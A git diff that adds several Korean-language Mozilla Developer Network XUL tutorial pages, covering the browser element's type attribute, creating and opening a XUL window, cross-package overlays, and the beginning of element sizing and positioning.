+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_cpanels_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_cpanels_2.xul">View</a></p>
+<pre>&lt;browser src="http://www.mozilla.org" flex="1"/&gt;
+</pre>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code>과 같이 <code><code id="a-src"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/src">src</a></code></code>속성을 사용하여 브라우저에 url을 지정할 수 있습니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code></code>에서는 위와 같이 직접 url을 지정할 수 없는데 이는 이 요소가 단지 하나의 url만 출력하는 것이 아니기 때문입니다. 대신 스크립트를 사용해서 <code>loadURI</code> 함수를 호출해야만 합니다.</p>
+<p>브라우저는 출력하고자 하는 내용에 따라 3가지의 유형이 있습니다. 이 유형은 <code><a href="ko/XUL/Attribute/browser.type">type</a></code> 속성을 이용하여 지정합니다.</p>
+<p>첫 번째 유형은 기본값이며 <code>type</code> 속성이 명시되지 않았을 때 사용됩니다. 이 경우 브라우저내에 로드되는 내용은 내용을 로드하는 응용 프로그램의 일부로 취급되어 외부 창에 접근할 수 있는 방법을 가지게 됩니다. 이것은 브라우저 내에 로드된 스크립트가 최상위 창을 얻으려고 시도하면, 그것은 외부의 XUL 창을 얻게 된다는 것을 의미합니다.</p>
+<p>이러한 유형은 응용 프로그램의 일부인 자식 XUL 패널에서는 적당하지만, 웹 페이지를 로드하는 브라우저에서는 원치 않는 것입니다. 대신 여러분은 웹 페이지가 웹 페이지의 내용에만 접근할 수 있도록 제한하기를 원할 것입니다. 여러분은 Mozilla 브라우저 창이 메인 영역을 구성하는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code></code>와 함께 툴바와 상태바 등과 같은 XUL 콘텐츠를 가진다는 것을 알고 있을 것입니다. 이러한 내부 영역은 웹 페이지를 출력하지만, 웹 페이지는 이들 주위의 XUL에는 접근할 수 없습니다. 이것은 브라우저가 두 번째 유형을 사용하기 때문인데, 이 유형에서는 <code><a href="ko/XUL/Attribute/browser.type">type</a></code> 속성에 <code>content</code>값을 지정합니다. 이렇게 지정하면 내용이 XUL window에 접근하지 못하도록 막아줍니다. 다음은 이에 대한 예제입니다.</p>
+<pre>&lt;browser src="http://www.mozilla.org" type="content" flex="1"/&gt;
+</pre>
+<div class="note">
+ <b>중요</b>: 여러분은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></code> 요소내에 원격지 웹사이트를 출력하기 위해서는 <code><a href="ko/XUL/Attribute/browser.type">type</a></code> 속성을 정확히 지정해야 합니다.</div>
+<p><code>tabbrowser</code>는 자기가 생성한 모든 탭 브라우저에 대해 자동으로 유형을 지정합니다. 그렇기 때문에 탭 브라우저의 경우 명시적으로 지정할 필요가 없습니다.</p>
+<p>세 번째 유형은 다른 내용을 출력하기 위해 사이드바를 사용하는 것과 같이 창에 다중 브라우저 요소를 포함할때 사용됩니다. 메인 <code>browser</code> 요소의 <code><a href="ko/XUL/Attribute/browser.type">type</a></code> 속성을 <code>content-primary</code>로 지정하면 이것은 창에서 주 내용이라는 것을 나타냅니다. 이것은 창 내부의 내용이 XUL 창의 'content' 속성을 이용하여 접근할 수 있다는 점만 제외하면 <code>content</code> 값과 유사하게 동작합니다. 이것은 스크립트를 사용하여 주 브라우저의 내용에 접근하기 쉽게 해 줍니다. <code>tabbrowser</code>는 자동으로 현재 보이는 브라우저에 대해 <code>type</code> 속성을 <code>content-primary</code>로 지정하며, 이것은 여러분이 현재 보이는 내용에 대해 항상 접근할 수 있다는 것을 의미합니다.</p>
+<p>다음에는 <a href="ko/XUL_Tutorial/Splitters">분할자(splitter)를 작성</a>하는 방법에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Grids" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Splitters">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/creating_a_window/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/creating_a_window/index.html
new file mode 100644
index 0000000000..3152f51638
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/creating_a_window/index.html
@@ -0,0 +1,113 @@
+---
+title: Creating a Window
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Creating_a_Window
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Creating_a_Window
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Manifest_Files" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Adding_Buttons">다음  »</a></p>
+</div><p></p>
+
+<div class="highlight">
+<p>우리는 이 입문서를 통해 간단한 파일 찾기(find files) 유틸리티를 만들어 볼 작정입니다.</p>
+</div>
+
+<p>하지만, 먼저 XUL 파일의 기본 구문을 살펴보겠습니다.</p>
+
+<h3 id="XUL_.ED.8C.8C.EC.9D.BC_.EB.A7.8C.EB.93.A4.EA.B8.B0" name="XUL_.ED.8C.8C.EC.9D.BC_.EB.A7.8C.EB.93.A4.EA.B8.B0">XUL 파일 만들기</h3>
+
+<p>XUL 파일은 어떤 이름도 줄 수 있지만 사실 확장자는 .xul입니다. 가장 간단한 XUL 파일의 구조는 다음과 같습니다.</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window
+    id="findfile-window"
+    title="Find Files"
+    orient="horizontal"
+    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+&lt;!-- Other elements go here --&gt;
+&lt;/window&gt;
+</pre>
+
+<p>이 창은 아무런 UI 요소를 담고 있지 않기 때문에 아무것도 하지 않습니다. UI 요소는 다음 절(section)에서 추가합니다. 여기서는 위 코드를 한줄한줄 설명합니다.</p>
+
+<ol>
+ <li><strong>&lt;?xml version="1.0"?&gt;</strong><br>
+  이 줄은 이 파일이 XML 파일임을 간단히 선언합니다. 보통 HTML 파일 상단에 HTML 태그를 놓는 것과 같이 이 줄을 각 xul 파일 상단에 추가합니다.</li>
+ <li><strong>&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;</strong><br>
+  이 줄은 파일에 쓸 스타일 시트를 지정하는 데 씁니다. 이는 XML 파일이 스타일 시트를 가져오는(import) 데 쓰는 구문입니다. 이 경우에, 우리는 스킨 꾸러미(package)의 전역(global) 부분에 있는 스타일을 가져옵니다. 우리가 특정 파일을 지정하지 않기에 Mozilla가 디렉토리에서 어떤 파일을 쓸 지 결정합니다. 위 경우에, 가장 중요한 global.css 파일이 선택됩니다. 이 파일은 모든 XUL 요소를 위한 기본 선언 전부를 담고 있습니다. XML은 요소가 표시되는 법에 관한 아무런 지식이 없기 때문에, 그 파일은 방법을 나타냅니다. 보통, 모든 XUL 파일 상단에 이 줄을 놓습니다. 또한 비슷한 구문을 써서 다른 스타일 시트를 가져오기도 합니다. 보통은 자신의 스타일 시트 파일 안에서 전역 스타일 시트를 가져옴을 유념하세요.</li>
+ <li><strong>&lt;window</strong><br>
+  이 줄은 창(<code><a href="/ko/docs/Mozilla/Tech/XUL/window" title="window">window</a></code>)을 기술함을 선언합니다. 각 사용자 인터페이스 창은 개별 파일에서 기술합니다. 이 태그는 대체로 HTML에서 전체 내용(content)을 둘러싸는 BODY 태그와 같습니다. <a href="ko/XUL/window#Attributes">여러 속성</a>이 <code><a href="/ko/docs/Mozilla/Tech/XUL/window" title="window">window</a></code> 태그에 놓일 수 있습니다 -- 이 경우에는 넷입니다. 예제에서, 각 속성은 각 줄에 놓이지만 그래야만 하는 건 아닙니다.</li>
+ <li><strong>id="findfile-window"</strong><br>
+  <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> 속성은 창이 스크립트에 의해 참조될 수 있도록 식별자(identifier)로 쓰입니다. 여러분은 보통 모든 요소에 <code>id</code> 속성을 놓습니다. 이름은 여러분이 원하는 아무거나 될 수 있지만 뭔가 관련이 있으면 좋습니다.</li>
+ <li><strong>title="Find Files"</strong><br>
+  <code><code id="a-title"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/title">title</a></code></code> 속성은 창이 표시될 때 제목 표시줄에 나타나는 텍스트를 기술합니다. 이번 경우에는 '파일 찾기' 텍스트가 나타납니다.</li>
+ <li><strong>orient="horizontal"</strong><br>
+  <code><code id="a-orient"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code></code> 속성은 창의 항목 배열을 지정합니다. <code>horizontal</code>값은 항목이 창을 가로질러 가로로 놓임음 나타냅니다. 여러분은 또한 항목이 세로로 놓임을 뜻하는 <code>vertical</code>값을 써도 됩니다. 이 값이 기본값이므로, 혹시 여러분이 세로 방향이길 바라면 속성을 아주 빼도 됩니다.</li>
+ <li><strong>xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;</strong><br>
+  이 줄은 여러분이 창 요소의 자식 모두가 XUL임을 나타내기 위해 창 요소에 놓는 XUL용 이름공간(namespace)을 선언합니다. 이 URL은 실제로 결코 내려받지 않음을 유념하세요. Mozilla는 이 URL을 내부로 인지합니다.</li>
+ <li><strong><span class="nowiki">&lt;!-- Other elements go here --&gt;</span></strong><br>
+  이 주석 블록을 창에 나타내기 위해 다른 요소(버튼, 메뉴, 다른 사용자 인터페이스 컴포넌트)로 바꾸세요. 우리는 이 가운데 일부를 다음 여러 절에서 추가합니다.</li>
+ <li><strong>&lt;/window&gt;</strong><br>
+  그리고 끝으로, 파일 끝에서 <code><a href="/ko/docs/Mozilla/Tech/XUL/window" title="window">window</a></code> 태그를 닫을 필요가 있습니다.</li>
+</ol>
+
+<h3 id=".EC.B0.BD_.EC.97.B4.EA.B8.B0" name=".EC.B0.BD_.EC.97.B4.EA.B8.B0">창 열기</h3>
+
+<p>XUL 창을 열기 위해, 쓸 수 있는 여러 방법이 있습니다. 혹시 여러분이 단지 개발 단계에 있다면, 그냥 Mozilla 브라우저 창 주소 표시줄에 URL(chrome:, file:이든 다른 URL 형이든)을 입력할 수 있습니다. 여러분은 또한 파일 관리자에서 Mozilla와 관련된 XUL 파일로 생각하는 파일을 두 번 클릭할 수 있습니다. XUL 창은 새 창이 아닌 브라우저 창에 나타나지만 이는 개발 초기 단계 동안은 대개 충분합니다.</p>
+
+<p>물론 옳은 방법은 JavaScript를 써서 창을 여는 겁니다. <a href="ko/HTML">HTML</a> 문서를 위해 할 수 있는 것처럼 <a href="ko/DOM/window.open">window.open()</a> 함수를 쓰는 것 같은 새 구문이 필요하지 않습니다. 그러나, 'chrome'으로 불리는 추가 flag 하나가 이것이 여는 <a href="ko/DOM/window.open#Window_functionality_features">chrome</a> 문서임을 브라우저에 나타내기 위해 필요합니다. 이는 보통 브라우저 창에 있는 도구 표시줄, 메뉴 등이 없이 창을 엽니다. 구문은 아래에 기술합니다:</p>
+
+<pre>window.open(url,windowname,flags);
+
+where the flags contains the flag "chrome" as in this example
+
+window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300");
+</pre>
+
+<div class="highlight">
+<h5 id="findfile.xul_.EC.98.88.EC.A0.9C" name="findfile.xul_.EC.98.88.EC.A0.9C">findfile.xul 예제</h5>
+
+<p>파일 찾기 대화상자를 위한 기본 파일을 만들면서 시작하죠. findfile.xul 파일을 만들어 findfile.manifest 파일(우리가 이전 절에서 만들었슴)에 지정된 content 디렉토리에 넣으세요. 이 페이지 상단에 보이는 XUL 템플릿을 파일에 추가하고 저장하세요.</p>
+</div>
+
+<p>여러분은 Mozilla가 시작할 때 XUL 파일을 지정하기 위해 명령줄 매개변수 '-chrome'을 쓸 수 있습니다. 지정하지 않으면, 기본 창 열기가 열립니다(보통은 브라우저 창). 예를 들어, 우리는 다음 가운데 어느 쪽으로도 파일 찾기 대화상자를 엽니다.</p>
+
+<pre>mozilla -chrome chrome://findfile/content/findfile.xul
+
+mozilla -chrome resource:/chrome/findfile/content/findfile.xul
+</pre>
+
+<p>여러분이 명령줄(여러분의 플랫폼에 있다고 가정)에서 이 명령을 실행하면, 파일 찾기 대화상자를 Mozilla 브라우저 창 대신에 기본값으로 엽니다. 물론, 우리가 창에 아무런 UI 요소도 넣지 않았기 때문에, 나타난 창을 볼 수 없습니다. 다음 절에서 일부 요소를 추가합니다.</p>
+
+<p>효과를 보기 위해, 다음은 북마크 관리자 창을 엽니다.</p>
+
+<pre class="eval">mozilla -chrome <a class="external" rel="freelink">chrome://communicator/content/bookma...rksManager.xul</a>
+
+<span class="highlightred">혹시 Firefox를 쓴다면, 아래로 해보세요.</span>
+firefox -chrome <a class="external" rel="freelink">chrome://browser/content/bookmarks/b...rksManager.xul</a>
+</pre>
+
+<p>'-chrome' 인수는 파일에 아무런 추가 특권(privilege)을 주지 않습니다. 대신, 주소 표시줄이나 메뉴와 같은 브라우저 chrome 없이 최상위 창으로 지정된 파일을 열게 합니다. 오직 chrome URL에 추가 특권이 있습니다.</p>
+
+<div class="note"><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extension Developer's Extension</a>은 여러분이 XUL 코드를 쳐 넣고 Mozilla 안에서 실시간으로 결과를 보게 하는 XUL 편집기를 담고 있습니다!</div>
+
+<h3 id=".EB.AC.B8.EC.A0.9C_.ED.95.B4.EA.B2.B0.ED.95.98.EA.B8.B0" name=".EB.AC.B8.EC.A0.9C_.ED.95.B4.EA.B2.B0.ED.95.98.EA.B8.B0">문제 해결하기</h3>
+
+<ul>
+ <li>혹시 XUL 창을 데스크탑에 보이지는 않지만 데스크탑 도구 표시줄에 아이콘이 있다면, xml-stylesheet 선언을 점검하세요. 여러분이 스타일시트를 바르게 포함했는지 확인하세요.</li>
+</ul>
+
+<pre class="eval"> &lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+</pre>
+
+<p>다음 절에서, 우리는 <a href="ko/XUL_Tutorial/Adding_Buttons">창에 버튼 몇 개를 추가</a>합니다.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Manifest_Files" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Adding_Buttons">다음  »</a></p>
+</div><p></p>
+
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/cross_package_overlays/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/cross_package_overlays/index.html
new file mode 100644
index 0000000000..18ae26938a
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/cross_package_overlays/index.html
@@ -0,0 +1,79 @@
+---
+title: Cross Package Overlays
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Cross_Package_Overlays
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Cross_Package_Overlays
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Overlays" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Creating_an_Installer">다음  »</a></p>
+</div><p></p>
+<p>이번 단원에서는 오버레이를 임포트(import)하지 않는 파일에 오버레이를 적용하는 방법에 대해 알아보겠습니다.</p>
+<h3 id=".EB.8B.A4.EB.A5.B8_.EA.BE.B8.EB.9F.AC.EB.AF.B8.EC.97.90_.EC.98.A4.EB.B2.84.EB.A0.88.EC.9D.B4_.EC.A0.81.EC.9A.A9.ED.95.98.EA.B8.B0" name=".EB.8B.A4.EB.A5.B8_.EA.BE.B8.EB.9F.AC.EB.AF.B8.EC.97.90_.EC.98.A4.EB.B2.84.EB.A0.88.EC.9D.B4_.EC.A0.81.EC.9A.A9.ED.95.98.EA.B8.B0">다른 꾸러미에 오버레이 적용하기</h3>
+<div class="note">
+ 알림: 이번 단원에서는 content.rdf를 통해 오버레이를 적용하는 방법에 대해 설명하며, <a href="ko/Gecko">Gecko</a> 1.8 (Firefox 1.5) 부터는 <a href="ko/XUL_Tutorial/Manifest_Files">선언 파일(manifest file)</a>을 사용하는 것으로 변경되었습니다.</div>
+<p>오버레이는 또 다른 유용한 기능을 제공합니다. <a href="ko/XUL_Tutorial/Overlays">앞 단원</a> 예제에서는 오버레이가 창에 의해 임포트(import)되었습니다. 여러분은 다른 방법으로 오버레이 스스로 적용할 대상 창을 명시하게도 할 수 있습니다. 여러분은 꾸러미 내에 있는 contents.rdf 파일을 수정해서 이를 지정할 수 있습니다. 이렇게 하면 오버레이를 적용하고자 하는 꾸러미를 수정하지 않고도 해당 꾸러미의 사용자 인터페이스를 변경할 수 있기 때문에 아주 유용합니다. 예를 들어 여러분은 Mozilla 브라우저 창에 <a href="ko/XUL_Tutorial/Simple_Menu_Bars">메뉴 항목</a>이나 <a href="ko/XUL_Tutorial/Toolbars">툴바</a>를 추가할 수 있습니다.</p>
+<p>우리는 이 기능을 이용해서 Mozilla 브라우저 창에 툴바를 추가할 것입니다. Mozilla Mail 응용프로그램은 브라우저 창에 내용을 넣기 위해 오버레이를 사용합니다. 예를 들어 Mail이 설치되어 있지 않다면 새 메시지(New Message) 명령이 없지만, 설치되어 있다면 오버레이가 메뉴에 적용되어 새 메시지(New Message) 명령이 추가됩니다. 아래에서는 파일 찾기 툴바를 브라우저에 추가할 것입니다. 이 기능이 유용한 것은 아니지만 어쨌든 이렇게 하겠습니다.</p>
+<p>Mozilla는 chrom 꾸러미, 스킨, 로케일 목록을 작성하는데 사용되는 contents.rdf 파일에 오버레이 목록을 추가할 수 있게 해 줍니다. 만일 오버레이를 작성하면 이것을 contents.rdf 파일에 추가할 수 있습니다. 그리고 오버레이를 적용하고자 하는 각 창 하나씩 항목을 추가합니다.</p>
+<div class="highlight">
+ <h4 id=".ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C" name=".ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C">파일 찾기 예제</h4>
+ <p>먼저 간단한 오버레이를 만들겠습니다. 여기에는 검색할 파일이름과 디렉토리를 입력할 수 있는 요소들만 들어 있습니다. 이 파일을 findfile.xul 파일이 있는 findfile 디렉토리에 foverlay.xul이라는 이름으로 저장하세요.</p>
+ <h4 id="foverlay.xul_.EC.98.88.EC.A0.9C" name="foverlay.xul_.EC.98.88.EC.A0.9C">foverlay.xul 예제</h4>
+ <p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_crosspov_1.xul.txt">Source</a></p>
+ <pre>&lt;?xml version="1.0"?&gt;
+
+&lt;overlay
+    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;toolbox id="navigator-toolbox"&gt;
+  &lt;toolbar id="findfile_toolbar"&gt;
+    &lt;label control="findfile_filename" value="Search for files named:"/&gt;
+    &lt;textbox id="findfile_filename"/&gt;
+    &lt;label control="findfile_dir" value="Directory:"/&gt;
+    &lt;textbox id="findfile_dir"/&gt;
+    &lt;button label="Browse..."/&gt;
+  &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+
+&lt;/overlay&gt;
+</pre>
+ <p>위 파일에서 overlay를 window로 바꾸면 내용을 볼 수 있습니다. 여기서 특별하다고 할만한 것은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code>에 사용된 <code>id</code>입니다. 이 값(<code>navigator-toolbox</code>)은 브라우저 창(navigator.xul)에 있는 toolbox의 id와 동일합니다. 이는 브라우저 창의 toolbox에 오버레이가 적용되고 별도의 툴바에 내용이 추가된다는 것을 의미합니다.</p>
+ <p>이 오버레이를 선언 파일에 적용하기 위해서는 두 가지 리소스(resource)를 추가해야 합니다. 먼저, 오버레이를 적용할 각각의 창을 하나씩 추가합니다. 아래의 코드는 contents.rdf 파일의 닫는 RDF 태그 앞에 들어가야 합니다.</p>
+ <pre>&lt;RDF:Seq about="urn:mozilla:overlays"&gt;
+  &lt;RDF:li resource="chrome://navigator/content/navigator.xul"/&gt;
+&lt;/RDF:Seq&gt;
+</pre>
+ <p>이 코드는 오버레이 창을 루트(root) 오버레이 노드(urn:mozilla:overlay)의 자식에 넣는다는 것을 선언합니다. 여러분은 오버레이를 적용하고자 하는 창에 해당하는 <code>li</code> 노드를 추가해서 다른 노드를 추가할 수 있습니다.</p>
+ <p>다음은 창에 적용할 각 오버레이를 위한 노드를 추가합니다. 이번 경우에는 하나만 있지만 다른것도 추가할 수 있습니다. 이 줄을 위의 코드 다음 줄에 추가하세요.</p>
+ <pre>&lt;RDF:Seq about="chrome://navigator/content/navigator.xul"&gt;
+  &lt;RDF:li&gt;chrome://findfile/content/foverlay.xul&lt;/RDF:li&gt;
+&lt;/RDF:Seq&gt;
+</pre>
+</div>
+<div class="float-right">
+ <img alt="Image:crosspov1.jpg"></div>
+<p>Mozilla는 이 정보를 읽은 후 다른 창에 적용되는 오버레이 목록을 만듭니다. 이 정보는 chrome/overlayinfo 디렉토리에 저장됩니다. 이 디렉토리에 있는 파일들을 직접 수정할 필요는 없습니다. 이 파일들은 Mozilla가 처음 실행되거나 새로운 꾸러미가 설치되면 자동으로 생성되고 수정됩니다. 그러나 이 디렉토리와 chrome.rdf 파일을 삭제해서 강제로 이 데이터들이 재작성되도록 할 수 있습니다.</p>
+<p>여러분은 이러한 기법을 추가 스타일시트를 적용하는데 사용할 수 있습니다. 다음 예는 이러한 것을 보여줍니다.</p>
+<pre>&lt;RDF:Seq about="urn:mozilla:stylesheets"&gt;
+  &lt;RDF:li resource="chrome://messenger/content/messenger.xul"/&gt;
+&lt;/RDF:Seq&gt;
+
+&lt;RDF:Seq about="chrome://messenger/content/messenger.xul"&gt;
+  &lt;RDF:li&gt;chrome://blueswayedshoes/skin/myskinfile.css&lt;/RDF:li&gt;
+&lt;/RDF:Seq&gt;
+</pre>
+<p> </p>
+<div class="note">
+ 여기서부터는 <a href="ko/Gecko">Gecko</a> 1.8 (Firefox 1.5)에서부터 사용하는 <a href="ko/XUL_Tutorial/Manifest_Files">선언 파일</a>을 통해 오버레이를 적용하는 방법입니다.</div>
+<div class="highlight">
+ <p>Gecko 1.8 (Firefox 1.5) 이후부터는 <a href="ko/XUL_Tutorial/Manifest_Files">선언 파일</a>을 이용하여 다른 꾸러미에 오버레이를 적용합니다. 파일 찾기 대화창을 위한 선언 파일인 <code>findfile.manifest</code>에 다음을 추가하면 됩니다.</p>
+ <pre>overlay chrome://browser/content/browser.xul chrome://findfile/content/foverlay.xul
+</pre>
+</div>
+<p>다음 단원에서는 <a href="ko/XUL_Tutorial/Creating_an_Installer">XUL 응용프로그램을 위한 인스톨러(installer) 작성</a> 방법에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Overlays" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Creating_an_Installer">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/element_positioning/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/element_positioning/index.html
new file mode 100644
index 0000000000..ce1d1c2c83
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/element_positioning/index.html
@@ -0,0 +1,259 @@
+---
+title: Element Positioning
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Element_Positioning
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Element_Positioning
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:The_Box_Model" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Box_Model_Details">다음  »</a></p>
+</div><p></p>
+
+<p>이번에는 XUL 요소의 크기와 위치를 지정하는 방법을 알아 보겠습니다.</p>
+
+<h2 id="Box_.EC.9A.94.EC.86.8C.EC.9D.98_.EC.9C.84.EC.B9.98_.EC.A7.80.EC.A0.95" name="Box_.EC.9A.94.EC.86.8C.EC.9D.98_.EC.9C.84.EC.B9.98_.EC.A7.80.EC.A0.95">Box 요소의 위치 지정</h2>
+
+<p>지금까지 상자 속의 요소들을 가로나 세로로 정렬하는 방법을 배웠습니다. 우리는 상자 속 요소의 크기와 위치를 제어할 필요가 있으며, 이를 위해 먼저 상자가 작동하는 원리에 대해 좀 더 알아볼 필요가 있습니다.</p>
+
+<p>XUL에서는 배치 방식(layout style)에 따라 내부 요소들의 위치가 결정됩니다. 예를 들어 가로 상자에 버튼을 추가하면 만약 추가된 버튼의 앞에 다른 요소가 있다면, 앞 버튼의 오른쪽에 위치하게 됩니다. 요소의 크기는 그 요소가 필요로 하는 크기와 사용자가 지시한 크기, 두 가지 요인에 의해 결정됩니다. 요소가 필요로 하는 크기는 그 요소 안에 무엇이 있느냐에 따라 달라집니다. 예를 들어 버튼의 너비는 버튼에 표시되는 문자열의 길이에 의해 결정됩니다.</p>
+
+<p>일반적으로 요소의 크기는 내부의 것들을 표시하기에 딱 알맞은 크기로 결정됩니다. 글상자(textbox) 같은 몇몇 요소들에는 기본 크기가 지정되어 있습니다. 일반 상자는 그 내부의 요소들을 모두 포함할 수 있을 만큼 충분한 크기를 가지게 됩니다. 예를 들어 세 개의 버튼을 포함하는 가로 상자의 너비는 세 개의 버튼과 약간의 여백을 포함할 정도의 넓어집니다.</p>
+
+<div class="float-right"><img alt="Image:boxstyle1n.png"></div>
+
+<p>그림에서 앞의 두 버튼은 문자열을 표시하기에 알맞은 크기로 되어 있습니다. 세 번째 버튼은 글자가 더 많기 때문에 크기가 더 큽니다. 버튼을 포함하고 있는 상자의 너비는 세 버튼의 너비와 버튼들 간의 사이 공간을 더한 전체 너비가 됩니다. 버튼의 높이도 글씨의 크기에 맞춰져 있습니다.</p>
+
+<h3 id="Width.EC.99.80_height_.EC.86.8D.EC.84.B1" name="Width.EC.99.80_height_.EC.86.8D.EC.84.B1">Width와 height 속성</h3>
+
+<p>여러분은 아마 창 내의 요소 크기를 좀 더 세밀히 제어할 필요가 있을 것입니다. 그래서 XUL은 요소의 크기를 조정할 수 있는 다양한 기능을 제공합니다. 그 중에서 가장 쉬운 방법은, HTML의 <code>img</code>에 너비와 높이를 주는 방식과 아주 비슷하게, 해당 요소에 <code><code id="a-width"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/width">width</a></code></code>와 <code><code id="a-height"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/height">height</a></code></code> 속성을 사용하는 것입니다. 다음은 이러한 예를 보여주고 있습니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_1.xul">View</a></p>
+
+<pre>&lt;button label="OK" width="100" height="40"/&gt;
+</pre>
+
+<p>하지만 이러한 방법은 사용 환경이나 테마에 따라 문제가 발생할 수 있기 때문에 그렇게 추천할 만한 방법이 아닙니다. 더 나은 방법은 style 속성을 이용하는 것인데, 이는 HTML의 스타일 시트와 유사하게 작동합니다. 이 때는 다음의 CSS 속성을 사용할 수 있습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/width" title="width CSS 속성은 요소의 너비를 설정합니다. 기본값은 콘텐츠 영역의 너비이지만, box-sizing이 border-box라면 테두리 영역의 너비를 설정합니다."><code>width</code></a> </dt>
+ <dd>요소의 너비를 지정합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/height" title="height CSS 속성은 요소의 높이를 지정합니다. 기본값은 콘텐츠 영역의 높이지만, box-sizing이 border-box라면 테두리 영역의 높이를 설정합니다."><code>height</code></a> </dt>
+ <dd>요소의 높이를 지정합니다.</dd>
+</dl>
+
+<p>이 속성을 사용하면 지정된 너비와 높이를 가진 요소가 생성됩니다. 만약 하나의 값만 지정하면 나머지 값은자동으로 계산됩니다. 이러한 크기 스타일을 지정할 때는 수치와 단위를 함께 입력해야 합니다.</p>
+
+<h4 id=".EC.9C.A0.EC.97.B0.ED.95.9C_.EC.9A.94.EC.86.8C.EB.93.A4" name=".EC.9C.A0.EC.97.B0.ED.95.9C_.EC.9A.94.EC.86.8C.EB.93.A4">유연한 요소들</h4>
+
+<p>유연하지 않은(non-flexible) 요소의 크기는 쉽게 계산됩니다. 이런 요소들은 지정된 크기 그대로 화면에 나타나며, 만약 크기가 지정되지 않으면 내용을 표시하기에 알맞게 크기가 정해집니다. 하지만 유연한(flexible) 요소의 크기를 계산하는 것은 조금 까다롭습니다.</p>
+
+<p>유연한 요소란 <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code> 속성의 값이 0보다 큰 요소입니다. 이들은 사용 가능한 공간에 맞추어 크기가 커지거나 줄어든다는 것을 이전 섹션에서 말씀드렸습니다. 이들의 처음 크기는 유연하지 않은(inflexible) 요소와 똑같이 계산됩니다. 다음의 예제는 앞서 말한 내용에 대해 보여줍니다.</p>
+
